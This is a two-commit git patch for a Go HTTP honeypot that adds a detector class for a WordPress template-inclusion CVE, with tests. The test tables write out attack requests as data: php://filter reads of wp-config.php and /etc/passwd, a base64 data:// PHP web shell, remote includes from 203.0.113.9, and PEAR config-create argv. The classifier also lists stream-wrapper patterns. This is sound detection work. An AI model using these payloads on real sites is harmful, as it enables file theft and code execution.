From 4c7a0eea1d15d285679bfc33d62da864765ffc3a Mon Sep 17 00:00:00 2001 From: Xore Date: Sun, 27 Sep 2026 20:01:06 +0200 Subject: [PATCH 1/2] feat(http-honeypot): classify CVE-2026-87902 template inclusion, not just pagename traversal Second half of #3309. #3359 added `wordpress-pagename-traversal` on the published request shape: a double-encoded `pagename`. That case can only see `../` and `..\` in a parameter named `pagename`, which is the traversal story and not the whole of the flaw. The bug is a file *inclusion* -- get_page_template() urldecodes `pagename` and hands the result to locate_template(), which checks only that the candidate exists and ends in .php/.html, never that it is still inside a theme root -- so a PHP stream wrapper is the same primitive reached a different way, and `template`, `page_template`, `theme` and `stylesheet` name a template through the same hierarchy as `pagename` does. New payload class `wordpress-template-inclusion`, one more branch of the existing byte-pattern classifier and nothing else: no new engine, no new language, nothing deserialized, nothing evaluated, and no request-supplied name ever joined to a directory, opened or included. Three things must be true, and each alone is ordinary traffic. A template selector is present. A WordPress signal that is not the attacker's target is present -- `page_id` (the advisory's documented precondition) or `rest_route` (WordPress's own REST multiplexer), or a WordPress core path in a value. And an inclusion payload sits in a template selector: traversal, a stream wrapper, a remote URL, or the PEAR command channel. That second condition is the design and it is what the previous class did not require. `pagename` and `template` are WordPress *query variables*, not WordPress-exclusive parameter names, so without it a scanner probing some other application would have its generic LFI relabelled as a WordPress CVE. `wp-config.php` is excluded from the core-path list for the same reason: naming a file is what an attacker does, and treating that as evidence of what was being attacked is how a real disclosure probe becomes a CVE label. The PEAR stage is its own branch because the split request defeats both existing cases. The verified PoC puts WordPress routing in the form body and PEAR's argv in the raw query string (PHP splits the query on literal `+` without decoding the arguments); `pearcmd-rce` reads the query only and needs both markers in it. The advisory tells defenders to look for "+config-create+" in the query of a request to the WordPress front end, and that pair was labelled nothing. Query and body are therefore read together, because WP::parse_request() merges them. Ordered after the pagename case, so #3359's labels do not move -- a request it already claims keeps the class it has shipped with. Before the generic cases, because an inclusion aimed at /etc/passwd is a narrower reading than "somebody asked for /etc/passwd", the precedence the corpus table already gives command-injection over secret-read. Both WordPress cases now share a parser that matches what the target parses. url.ParseQuery rejects and drops any pair containing a semicolon; PHP's only separator is "&", so `data://text/plain;base64,...` reaches WordPress as one value with its media type intact and the sensor, parsing it the Go way, could not see the parameter at all. Split on "&", then on the first "=", then unescape each side; an undecodable side is kept rather than dropped. A differential run over every input the existing suites pin -- the 30-day corpus table, #3359's 9 cases, this file's cases, and parser edge cases -- differs from the old parser on exactly one input: a `pagename` value containing a semicolon, which Go threw away and PHP does not. No existing test was changed to accommodate any of this; the whole suite passes untouched. Red on origin/main, green here: 14 positives, 9 benign near-misses and 8 "keeps its own class" negatives, plus an end-to-end case asserting the class reaches the emitted event on a request with auth_outcome=unknown and that the negative tables is the value origin/main already produced for that input, measured rather than assumed. The negatives are the part that decides whether this is usable: the full WordPress shape fetching an ordinary page, an ordinary login carrying a WordPress marker, a normal plugin read, a `..` with no separator after it, and a rewritten asset URL walking out of a WordPress directory. Real traffic keeps its own class -- the index.php pearcmd LFI (25 events), bare traversal (81), the theme css.php disclosure (14) and wordpress-rest-probe (372). Not measured against the fleet: Elasticsearch is not reachable from here, and the 30-day window #3309 measured contains no request of this CVE's shape. The corpus counts quoted above are #3309's, not re-measured. Event contract unchanged: no field added, so openapi.json needs no regeneration. No workflow touched, so no action to pin and no zizmor finding to allowlist. Refs #3309 --- .../home/honeypot-http/http-honeypot/main.go | 249 +++++++++- .../wordpress_template_inclusion_test.go | 439 ++++++++++++++++++ 2 files changed, 669 insertions(+), 19 deletions(-) create mode 100644 arcane/home/honeypot-http/http-honeypot/wordpress_template_inclusion_test.go diff --git a/arcane/home/honeypot-http/http-honeypot/main.go b/arcane/home/honeypot-http/http-honeypot/main.go index efed2c03..c208849c 100644 --- a/arcane/home/honeypot-http/http-honeypot/main.go +++ b/arcane/home/honeypot-http/http-honeypot/main.go @@ -588,6 +588,34 @@ func classifyPayload(query, body string) string { case wordpressPagenameTraversal(query, body): return "wordpress-pagename-traversal" + // #3309, CVE-2026-87902 again (KEV 2026-09-25), and the half + // #3359's case above cannot reach. That case is `../` in a parameter + // named `pagename`. The flaw is a file *inclusion* -- get_page_template() + // urldecodes `pagename` and hands the result to locate_template(), which + // checks only that the candidate exists and ends in .php/.html, never + // that it is still inside a theme root -- so a PHP stream wrapper is the + // same primitive reached a different way, and `template`, `page_template`, + // `theme` and `stylesheet` name a template through the same hierarchy as + // `pagename` does. + // + // Checked after the pagename case and before pearcmd-rce, so #3359's + // labels do not move: a request it already claims keeps the class it has + // had since #3359 shipped, and this case only picks up what falls + // through. It is also before the generic cases below, which is the + // point -- an inclusion aimed at /etc/passwd is a narrower and more + // actionable reading than "somebody asked for /etc/passwd", the same + // precedence the corpus table already gives command-injection over + // secret-read. + // + // Both halves are required and neither is the payload alone. `pagename` + // and `template` are WordPress *query variables*, not WordPress-exclusive + // parameter names, so a WordPress signal that is not the attacker's + // target file is required alongside them: WordPress's own routing + // variables, or a WordPress core path somewhere in the request. A + // generic LFI or RFI aimed anywhere else keeps the class it already had. + case wordpressTemplateInclusion(query, body): + return "wordpress-template-inclusion" + // 390 events. CVE-2012-1823 / CVE-2024-4577: turns php-cgi's argument // handling into "execute the request body as PHP". case strings.Contains(q, "allow_url_include") && strings.Contains(q, "auto_prepend_file"): @@ -777,19 +805,74 @@ func classifyPayload(query, body string) string { return "" } +// containsAny reports whether s contains any of the needles. + +// decodeUpTo percent-decodes s up to rounds times, stopping as soon as a +// round changes nothing or stops being decodable. Three rounds is the budget +// the CVE-2026-87902 cases allow, because the whole point of the CVE is that +// the target application decodes the value again after the web server has +// already decoded it once. +func decodeUpTo(s string, rounds int) string { + full := s + for i := 0; i < rounds; i++ { + next, err := url.QueryUnescape(full) + if err != nil || next == full { + break + } + full = next + } + return full +} + +// formValues splits a query string or form body into key/value pairs the way +// the application being attacked does, which is not always the way +// url.ParseQuery does. +// +// The difference that matters is the semicolon. Since Go 1.17 +// url.ParseQuery rejects any pair containing one and drops it; PHP's only +// separator is "&", so `data://text/plain;base64,...` arrives at WordPress as +// a single value with its media type intact -- and the sensor, parsing it the +// Go way, could not see the parameter at all. Using the stricter parser would +// drop exactly the values worth seeing, in both WordPress cases: the CVE +// works because the target decodes what the web server hands it, so the +// classification has to be done on the bytes the target will parse. +// +// Deliberately minimal -- split on "&", then on the first "=", then unescape +// each side. An undecodable side is kept exactly as it arrived rather than +// dropped, because a deliberately broken escape is a way of hiding a payload +// and the bytes are still worth matching. +func formValues(raw string) url.Values { + out := url.Values{} + for _, pair := range strings.Split(raw, "&") { + if pair == "" { + continue + } + key, value, _ := strings.Cut(pair, "=") + out.Add(formUnescape(key), formUnescape(value)) + } + return out +} + +// formUnescape percent-decodes one side of a form pair, returning it +// unchanged when it will not decode. A malformed escape is a way of varying a +// probe's appearance without changing what it means, so the raw bytes are +// kept rather than discarded. +func formUnescape(s string) string { + if unescaped, err := url.QueryUnescape(s); err == nil { + return unescaped + } + return s +} + // wordpressPagenameTraversal reports a `pagename` parameter -- in the query // or a form-encoded body -- carrying traversal. Double encoding is the tell: -// after the one decode url.ParseQuery does, a legitimate page slug never -// still contains an encoded dot, slash or backslash, and a fully decoded one -// never contains "../". Parameters are parsed, not substring-matched, so -// "pagename" inside some other value cannot trigger it. +// after the one decode there is above, a legitimate page slug never still +// contains an encoded dot, slash or backslash, and a fully decoded one never +// contains "../". Parameters are parsed, not substring-matched, so "pagename" +// inside some other value cannot trigger it. func wordpressPagenameTraversal(query, body string) bool { for _, raw := range []string{query, body} { - values, err := url.ParseQuery(raw) - if err != nil && len(values) == 0 { - continue - } - for key, vals := range values { + for key, vals := range formValues(raw) { if !strings.EqualFold(key, "pagename") { continue } @@ -798,15 +881,7 @@ func wordpressPagenameTraversal(query, body string) bool { if containsAny(once, "%2e", "%2f", "%5c") { return true } - full := once - for i := 0; i < 3; i++ { - next, err := url.QueryUnescape(full) - if err != nil || next == full { - break - } - full = next - } - if containsAny(full, "../", "..\\") { + if containsAny(decodeUpTo(once, 3), "../", "..\\") { return true } } @@ -1380,6 +1455,93 @@ func xmlrpcMethodName(lowerBody string) string { return rest[:j] } +// wpCorePaths are the strings that say "this request is aimed at WordPress" +// without being the attacker's target file. wp-config.php is deliberately +// absent: naming a file is what an attacker does, and treating that as proof +// of what application was being attacked is how a real disclosure probe ends +// up filed as a WordPress CVE. +var wpCorePaths = []string{ + "wp-content/", "wp-includes/", "wp-json", "wp-admin/", + "wp-login.php", "wp-blog-header.php", "wp-load.php", +} + +// wordpressTemplateInclusion reports CVE-2026-87902 (WordPress Core +// unauthenticated local PHP file inclusion) reached in a way the +// pagename-traversal case above cannot see: a stream wrapper or a remote URL +// instead of a `../`, or one of the other parameters that name a template. +// +// The gate is the request's shape and the payload is a requirement on top of +// it, and the order is the design. Three things must be true, and any one of +// them alone is ordinary traffic: +// +// - a template selector is present -- pagename, page_template, template, +// theme or stylesheet, the parameters WordPress resolves through its page +// template hierarchy; +// - a WordPress signal that is not the attacker's target is present -- the +// routing variables WordPress Core reads (page_id, the CVE's documented +// precondition, and rest_route, WordPress's own REST multiplexer), or a +// WordPress core path in a value; +// - and an inclusion payload sits in a template selector: traversal, a PHP +// stream wrapper, a remote URL, or -- the advisory's third indicator -- +// PEAR command syntax in the query string of a WordPress front end. +// +// The second condition is the one that keeps this from being a wider +// `pagename` check. `pagename` and `template` are WordPress query variables, +// which is not the same as being a WordPress-only parameter name, and a +// scanner probing one application must not have its generic LFI relabelled as +// somebody else's CVE. Requiring a second, WordPress-owned signal is +// deliberately the stricter choice: a probe that sends a wrapper in +// `pagename` and nothing else is left unlabelled rather than guessed at. +// +// The query and the body are read together rather than one at a time, because +// WordPress merges them: WP::parse_request() builds its query variables from +// $_GET plus $_POST, and the verified PoC depends on that -- its routing +// travels in the form body while PEAR's argv travels in the raw query string, +// because PHP splits the query on literal `+` without decoding the +// arguments. Checked one bag at a time, that request has a WordPress half and +// a PEAR half and no reason to connect them. +// +// Nothing here resolves a path. A request-supplied name is never joined to a +// directory, opened, stat'd or included -- formValues splits a string into +// key/value pairs and every value is matched as bytes, which is the same +// contract wordpressPagenameTraversal has. +func wordpressTemplateInclusion(query, body string) bool { + shape, selectors := false, []string(nil) + for _, raw := range []string{query, body} { + for key, vals := range formValues(raw) { + lower := strings.ToLower(key) + if lower == "page_id" || lower == "rest_route" { + shape = true + } + if lower == "pagename" || lower == "page_template" || lower == "template" || + lower == "theme" || lower == "stylesheet" { + selectors = append(selectors, vals...) + } + for _, v := range vals { + if containsAny(strings.ToLower(v), wpCorePaths...) { + shape = true + } + } + } + } + if !shape || len(selectors) == 0 { + return false + } + for _, v := range selectors { + if wordpressInclusionPayload(v) { + return true + } + } + // The PEAR stage. The existing pearcmd-rce case needs both markers in the + // query string, which a split request never has: the advisory tells + // defenders to look for "+config-create+" in the query of a request to + // the WordPress front end, and that is a pair this classifier alone can + // see. Both needles are PEAR's own vocabulary and cannot appear in + // ordinary traffic. + return containsAny(strings.ToLower(query), "config-create", "pearcmd") || + containsAny(strings.ToLower(body), "config-create", "pearcmd") +} + // roundcubeSQLPayload reports a parameter value that is trying to break out // of a SQL string literal -- the second half of roundcubeVirtuserSQLi. // @@ -1443,7 +1605,56 @@ func pregReplaceEscapeBypass(v string) bool { return containsAny(rest, "'", `"`, ";", "--", "#", "/*", "*/", "=", ")") } -// containsAny reports whether s contains any of the needles. +// wordpressInclusionPayload reports one template-bearing value that is trying +// to make the server include something -- the second half of +// wordpressTemplateInclusion. +// +// Three families, all of them things the target application would hand to an +// include or a stream-wrapper resolver: +// +// - traversal, at either depth, since the CVE's mechanism is a late +// urldecode() that a scanner which has read the advisory will pre-empt; +// - a PHP stream wrapper. `php://filter` is the interesting one here: it +// reads an arbitrary file and base64-encodes it, with no traversal at +// all, so the traversal-only cases cannot see it. `pear://` is not in +// this list because PHP has no such wrapper -- the PEAR stage is caught +// by the command channel instead; +// - a remote include, which is the same primitive pointed at the +// attacker's own host. +// +// What is left out is the point of the exercise. A bare "..", a slug with a +// double dot in it, and a relative path that walks up and back down are all +// absent on purpose: they are what an ordinary WordPress front end is full +// of, and one false positive here puts this class on ordinary page views. +func wordpressInclusionPayload(v string) bool { + once := strings.ToLower(v) + full := decodeUpTo(once, 3) + // Traversal. In `once` the dots are still encoded, which is the shape + // wordpressPagenameTraversal looks for; in `full` they have come back. + if containsAny(once, "%2e%2e", "%252e") || containsAny(full, "../", "..\\") { + return true + } + // Wrappers and remote URLs are matched at both depths for the same + // reason: the value reaches the target after one more urldecode() there, + // so a probe that pre-encodes the scheme must not read as harmless. + if containsAny(once, phpStreamWrappers...) || containsAny(full, phpStreamWrappers...) { + return true + } + return containsAny(once, remoteIncludeSchemes...) || containsAny(full, remoteIncludeSchemes...) +} + +// phpStreamWrappers and remoteIncludeSchemes are the inclusion primitives +// above. Every needle is a scheme followed by its delimiter, never a bare +// word: "php" and "data" are ordinary parameter values, and a scheme without +// its "//" is not a wrapper. +var ( + phpStreamWrappers = []string{ + "php://", "phar://", "data://", "data:text/", "expect://", + "zip://", "glob://", "rar://", "ogg://", "compress.zlib://", + } + remoteIncludeSchemes = []string{"http://", "https://", "ftp://", "ftps://"} +) + func containsAny(s string, needles ...string) bool { for _, needle := range needles { if strings.Contains(s, needle) { diff --git a/arcane/home/honeypot-http/http-honeypot/wordpress_template_inclusion_test.go b/arcane/home/honeypot-http/http-honeypot/wordpress_template_inclusion_test.go new file mode 100644 index 00000000..efefedef --- /dev/null +++ b/arcane/home/honeypot-http/http-honeypot/wordpress_template_inclusion_test.go @@ -0,0 +1,439 @@ +package main + +import ( + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +// #3309 / CVE-2026-87902: unauthenticated path traversal and local PHP file +// inclusion in WordPress Core's page-template resolution (KEV 2026-09-25, +// CVSS 9.2, WordPress 4.7.0-7.1.1). CWE-98, CWE-22/23. +// +// This is the second half of #3309. #3359 added +// `wordpress-pagename-traversal` for the traversal half of the chain, on the +// published request shape: an anonymous POST carrying a double-encoded +// `pagename`. That case can only see `../` and `..\` in a parameter named +// `pagename`, which is as much of this CVE as the traversal story describes +// and no more. The mechanism is a file *inclusion* -- get_page_template() +// urldecodes `pagename` and hands the result to locate_template(), which +// checks only that the candidate exists and ends in `.php`/`.html` -- so the +// payload family is wider than traversal: a PHP stream wrapper is the same +// primitive reached a different way, and `template`, `page_template`, `theme` +// and `stylesheet` are the other parameters that name a template on the way +// in. +// +// The design is the one #3364 used for Roundcube and the one #3359 used +// here: a gate on the request's own shape, a payload required on top of it, +// parameters parsed rather than substring-matched, one more branch of the +// existing byte-pattern classifier. Nothing here deserializes anything, +// evaluates anything, or resolves a request-supplied path against the +// filesystem -- url.ParseQuery splits a string into key/value pairs and every +// value is then matched as bytes. +// +// The class is deliberately not a wider `pagename` check. Both halves are +// required, and the WordPress half is the one that was missing: `pagename` is +// a WordPress *query variable*, not a WordPress-exclusive parameter name, and +// relabelling some other application's `../` as a WordPress CVE is the +// failure mode a payload classifier exists to avoid. So: a template selector +// plus a second, WordPress-owned signal, plus an inclusion payload. +// +// Not measured against the fleet's corpus. The 30-day window #3309 measured +// contains no request of this CVE's shape, and Elasticsearch is not reachable +// from where this landed, so the coverage this class adds is unmeasured and +// the cases below follow the published shape instead: the advisory +// (GHSA-7hp8-65ch-5whp), the Equixly write-up, and the verified public PoC +// at github.com/ressl/cve-2026-87902-poc. What the tests pin is the boundary +// that decides whether the class is usable, and every expected value in the +// negative tables is the value origin/main already produced for that input -- +// measured, not assumed. + +const wpTemplateInclusion = "wordpress-template-inclusion" + +// TestWordpressTemplateInclusion covers what #3359's case structurally +// cannot: an inclusion payload that is not a `../` in a parameter named +// `pagename`. +func TestWordpressTemplateInclusion(t *testing.T) { + cases := []struct { + name, query, body string + want string + }{ + // --- the remote-include half of the payload family. The same + // urldecode() call in get_page_template() that activates `../` + // activates a stream wrapper, and issue #3309 proposed names + // `phar://` and `data://text/plain` as the wrappers to look for + // alongside `pearcmd`. + + { + name: "php://filter read through pagename, with the documented page_id", + body: "page_id=2&pagename=php://filter/convert.base64-encode/resource=wp-config.php", + want: wpTemplateInclusion, + }, + { + name: "phar:// deserialization wrapper through pagename", + body: "page_id=2&pagename=phar://203.0.113.9/uploads/2026/09/x.phar/index", + want: wpTemplateInclusion, + }, + { + name: "data://text/plain through pagename", + query: "page_id=2&pagename=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOw==", + want: wpTemplateInclusion, + }, + { + name: "remote include straight to an attacker URL", + query: "page_id=2&pagename=https://203.0.113.9/stage2.php", + want: wpTemplateInclusion, + }, + { + // ...and the target it names is a credential file, so #3359's + // precedence rule decides this one: "the mechanism wins over the + // target, because they can read it is the more actionable half + // and the raw query still names the file". An inclusion aimed at + // /etc/passwd is a narrower, more useful reading than "somebody + // asked for /etc/passwd". + name: "wrapper naming a credential file outranks the generic secret-read class", + body: "page_id=2&pagename=php://filter/convert.base64-encode/resource=/etc/passwd", + want: wpTemplateInclusion, + }, + + // --- the other parameters that name a template. Issue #3309 asked + // for "template/theme query parameters carrying traversal", and + // page_template/template are the ones WordPress resolves through + // the same hierarchy. #3359's case is blind to all of them: it + // matches the parameter name `pagename` exactly. + + { + name: "page_template carrying traversal, the documented page_id", + body: "page_id=2&page_template=../../../../../../wp-config.php", + want: wpTemplateInclusion, + }, + { + name: "backslash traversal in page_template, which no existing case reads", + query: "page_id=2&page_template=..%5c..%5c..%5c..%5c..%5cboot.ini", + want: wpTemplateInclusion, + }, + { + // A scanner that has read the advisory pre-encodes the wrapper, + // because the CVE works precisely because WordPress decodes the + // candidate a second time. Three rounds, the same budget + // wordpressPagenameTraversal allows, so an extra encoding layer + // cannot hide it. It has to be a selector other than `pagename` + // to reach this class at all, and that is not an accident: for + // `pagename` the older class already claims the double-encoded + // form, because the surviving `%2f` is the very thing it looks + // for. + name: "double-encoded wrapper, decoded twice before it reads as one", + query: "page_id=2&template=%2570%2568%2570%253a%252f%252ffilter%252fconvert.base64-encode%252fresource%253dwp-config.php", + want: wpTemplateInclusion, + }, + { + name: "template carrying traversal on a WordPress REST route", + query: "rest_route=/wp/v2/pages&template=../../../../../../etc/passwd", + want: wpTemplateInclusion, + }, + { + name: "theme carrying traversal on a WordPress REST route", + query: "rest_route=/wp/v2/pages&page_id=2&theme=../../../../../../etc/passwd", + want: wpTemplateInclusion, + }, + { + // The same target reached through a value that names a WordPress + // core path, which is the shape issue #3309's first proposal + // described (a theme path walking out of itself). It arrives + // here as a parameter value, not as a URL path, because that is + // where a POST body carries it. + name: "stylesheet naming a theme path that walks out of itself", + query: "page_id=2&stylesheet=../../../../../../wp-content/plugins/akismet/akismet.php", + want: wpTemplateInclusion, + }, + + // --- the PEAR stage, which is the issue's third proposal. The + // verified PoC splits one request across two places: WordPress's + // routing in the form body, PEAR's argv in the raw query string + // (PHP splits the query on literal `+` and does not decode the + // arguments). The existing pearcmd-rce case reads the query only + // and needs both markers in it, so the shape the advisory tells + // defenders to look for -- "query strings containing PEAR command + // syntax such as +config-create+ ... on requests to the WordPress + // front end" -- falls between two cases and is labelled nothing. + + { + name: "WordPress front end carrying PEAR argv in the query", + query: "+config-create+/+/tmp/x.php", + body: "page_id=2&template=../../../../../../usr/local/lib/php/pearcmd", + want: wpTemplateInclusion, + }, + { + // Same bytes, and the only difference is the WordPress routing + // beside them. This is the pair that decides the class: neither + // half is this CVE on its own. + name: "pearcmd named in the query, WordPress routing in the body", + query: "pearcmd&+config-create+/&/+/tmp/x.php", + body: "page_id=2&page_template=../../../../../../usr/local/lib/php/pearcmd", + want: wpTemplateInclusion, + }, + { + // The PEAR writer re-probed at a WordPress front end once the + // traversal has already been staged elsewhere, so there is no + // inclusion payload in this request at all -- only the argv + // channel and WordPress's own routing. Worth its own branch + // because it is the request the advisory names and nothing else + // in the classifier sees it. + name: "PEAR writer probe at a WordPress front end, nothing else", + query: "+config-create+/&/+/tmp/x.php", + body: "page_id=2&pagename=about-us", + want: wpTemplateInclusion, + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + if got := classifyPayload(c.query, c.body); got != c.want { + t.Errorf("classifyPayload(%q, %q) = %q, want %q", c.query, c.body, got, c.want) + } + }) + } +} + +// TestWordpressTemplateInclusionLeavesBenignTrafficAlone is the half the +// classifier's own rule demands: a pattern that fires on ordinary traffic is +// worse than no pattern, because it makes every event look interesting. Each +// case here is traffic that is either genuinely ordinary or one step away +// from an attack, and each is close enough to the gate to be worth pinning. +// +// Every `want` is the value origin/main already produced for that input, so +// this table also pins that nothing else moved. +func TestWordpressTemplateInclusionLeavesBenignTrafficAlone(t *testing.T) { + cases := []struct { + name, query, body string + want string + }{ + { + // The most obvious mistake available: a `..` is not a traversal + // until a separator follows it. This is a page slug with a + // double dot in it, and it carries the full WordPress shape. + name: "a double dot with no separator after it is a slug", + query: "page_id=2&pagename=my..slug", + want: "", + }, + { + // The whole WordPress shape -- selector, routing parameter and + // core path -- with an ordinary value in every one of them. If + // the gate ever stops requiring a payload, every page view on a + // WordPress front end becomes this class. + name: "the WordPress shape alone, fetching an ordinary page", + query: "page_id=2&theme=twentytwentyfive&file=/wp-content/themes/twentytwentyfive/style.css", + want: "", + }, + { + // `redirect_to=/wp-admin/` puts a WordPress marker in the + // request, and the shape is not the point: the point is that + // the marker alone is not enough, and neither is a parameter + // name that looks template-shaped. + name: "an ordinary WordPress login", + body: "log=admin&pwd=Summer2026&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1", + want: "", + }, + { + // A normal plugin request: the plugin is named, the file is + // read, nothing is traversed and nothing is included. `action` + // and `plugin` are not treated as WordPress evidence here -- + // `action` is a Joomla/Drupal parameter too, and the honest + // list of WordPress-owned signals is the routing and core-path + // ones. + name: "a normal plugin readme request", + query: "action=plugin&plugin=akismet&version=5.3&file=readme.txt", + want: "", + }, + { + // A real class that must keep its label: 372 events in the + // window #3309 measured. Enumerating the REST surface is not + // this CVE, and relabelling it would lose a filter analysts + // already use. + name: "a normal WordPress REST enumeration", + query: "rest_route=/wp/v2/users&per_page=100", + want: "wordpress-rest-probe", + }, + { + // A remote URL is only a remote *include* in a parameter that + // names a template. Everywhere else it is a link, and this + // request is an ordinary page fetch carrying one. + name: "a remote URL beside the shape, in a parameter that names no template", + query: "page_id=2&pagename=about-us&redirect_to=https://example.com/", + want: "", + }, + { + // The "a path containing .. that is not an inclusion attempt" + // case: a rewritten asset URL walking up and back down. Nobody + // includes that, and the sensor has no business calling it one. + name: "a relative path that walks up and back down", + query: "next=/themes/../uploads/photo.jpg&w=800", + want: "", + }, + { + // The same, next to a WordPress path, which makes it the harder + // version of the same near-miss. + name: "a relative path that walks out of a WordPress directory", + query: "next=/wp-admin/../wp-login.php", + want: "", + }, + { + // A documentation question, on a pager. The `wp-content/` here + // is prose; it is a shape marker only when it appears in the + // same request as a template selector, and even then it is not + // a payload. + name: "wp-content in a prose value, with no selector", + query: "q=how+to+install+wp-content+themes+on+debian&page=2", + want: "", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + if got := classifyPayload(c.query, c.body); got != c.want { + t.Errorf("classifyPayload(%q, %q) = %q, want %q (benign traffic must not become this CVE)", c.query, c.body, got, c.want) + } + }) + } +} + +// TestWordpressTemplateInclusionLeavesForeignClassesAlone is the other half +// of "require the WordPress shape AND an inclusion payload". A generic LFI +// or RFI aimed at some other application keeps the class it already had -- +// relabelling it as a WordPress CVE would be wrong in the field, and would +// also lose the generic signal analysts filter on. +// +// The first four are real traffic from the window #3309 measured, with the +// counts it reported. +func TestWordpressTemplateInclusionLeavesForeignClassesAlone(t *testing.T) { + cases := []struct { + name, query, body string + want string + }{ + { + // 25 events: the PEAR LFI against index.php. Both markers, in + // the query, and no WordPress shape -- so pearcmd-rce keeps it. + name: "real: index.php pearcmd LFI", + query: "+config-create+/&lang=../../../../../../../../usr/local/lib/php/pearcmd&/+/tmp/x.php", + want: "pearcmd-rce", + }, + { + // The same argv with no WordPress routing beside it. This is the + // negative twin of the "pearcmd named in the query" positive + // above: same query string, one body changed, opposite answer. + name: "pearcmd argv with no WordPress shape", + query: "pearcmd&+config-create+/&/+/tmp/x.php", + want: "pearcmd-rce", + }, + { + // 81 events: traversal with no escalation. + name: "real: bare traversal", + query: "lang=../../../../../../../../tmp/index1", + want: "path-traversal", + }, + { + // 14 events: the theme css.php file disclosure. It names a + // WordPress file and is still not this CVE -- it reaches + // wp-config.php through a plugin's own `files` parameter, so no + // template resolution is involved at all. + name: "real: theme css.php file disclosure keeps the generic class", + query: "files=../../../../wp-config.php", + want: "path-traversal", + }, + { + // The hard one, and the reason the gate needs a second + // WordPress signal rather than just a template-shaped parameter + // name: `template` is a WordPress query variable, and it is also + // a perfectly ordinary parameter name elsewhere. A generic LFI + // through one keeps its own class. + name: "generic traversal in a template-named parameter", + query: "template=../../../../../../etc/passwd", + want: "secret-read", + }, + { + // A generic RFI. The wrapper is the same bytes this CVE uses, + // aimed at something that is not WordPress, and it keeps the + // generic credential-read class rather than being relabelled. + name: "generic php://filter read with no WordPress shape", + query: "file=php://filter/convert.base64-encode/resource=/etc/passwd", + want: "secret-read", + }, + { + // ...and the same wrapper aimed at a file that is not a + // credential, which nothing in the corpus labels today. It stays + // unlabelled: this change adds a WordPress inclusion class, not + // a generic one. + name: "generic remote include with no WordPress shape stays unlabelled", + query: "include=https://203.0.113.9/stage2.php", + want: "", + }, + { + // A wrapper in a parameter that names no template, with no + // WordPress shape. + name: "generic phar:// with no WordPress shape and no selector", + query: "file=phar://203.0.113.9/uploads/x.phar/index", + want: "", + }, + } + + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + if got := classifyPayload(c.query, c.body); got != c.want { + t.Errorf("classifyPayload(%q, %q) = %q, want %q (this class must not take traffic that belongs to another one)", c.query, c.body, got, c.want) + } + }) + } +} + +// TestWordpressTemplateInclusionReachesTheEvent is the half a unit test +// cannot cover: that the class actually lands on the emitted event, on a +// request where the decoy made no authentication decision. +// +// CVE-2026-87902 is pre-authentication by construction -- the PoC sends no +// cookie and no authorization header, and the advisory requires no account, +// session, plugin or outbound request. This sensor keeps no session and +// consults no backend, so "unauthenticated" here is a statement about the +// request and the response rather than about a session the decoy never had: +// auth_outcome is "unknown" -- nothing in serve() decided anything about an +// identity -- while the payload is still classified. The class must not +// require a login to have happened first. +func TestWordpressTemplateInclusionReachesTheEvent(t *testing.T) { + s, output := newTestServer() + + // The wrapper half of the published shape, sent the way a browser would + // send it and with the Content-Type a browser sends, so this exercises + // the form redaction path rather than the opaque one. + const body = "page_id=2&pagename=php://filter/convert.base64-encode/resource=/etc/passwd" + + r := httptest.NewRequest(http.MethodPost, "http://example/", strings.NewReader(body)) + r.Header.Set("Content-Type", "application/x-www-form-urlencoded") + r.RemoteAddr = "203.0.113.7:54321" + w := httptest.NewRecorder() + s.ServeHTTP(w, r) + + line := output.String() + if !strings.Contains(line, `"payload_class":"wordpress-template-inclusion"`) { + t.Fatalf("the event did not carry the payload class: %s", line) + } + // #3213's rule is that redaction must not cost the fleet a payload + // signature. This body is a form, so the redaction pass ran over it: + // pagename is neither a credential field nor session material, so the + // inclusion payload has to survive for an analyst to read it out of the + // event. + if !strings.Contains(line, "php://filter") { + t.Fatalf("the inclusion payload was scrubbed out of the stored body: %s", line) + } + // No authentication decision was made for this request, which is the + // pre-auth half of the CVE. + if !strings.Contains(line, `"auth_outcome":"unknown"`) { + t.Fatalf("expected no authentication decision for this request: %s", line) + } + // Nothing was resolved. The decoy answers from its own modelled + // surface, so a request naming a local file gets a decoy response and + // an event carrying the request bytes -- never the contents of a file + // the request asked for, and never a traversal outside the container. + if w.Code != http.StatusOK { + t.Fatalf("expected the decoy to answer the request itself, got %d: %s", w.Code, line) + } +} From 6f43f7cb8de2e337b7bbbd9de8bf34ac973d1c58 Mon Sep 17 00:00:00 2001 From: Xore Date: Mon, 28 Sep 2026 10:21:09 +0200 Subject: [PATCH 2/2] ci: retrigger cancelled runs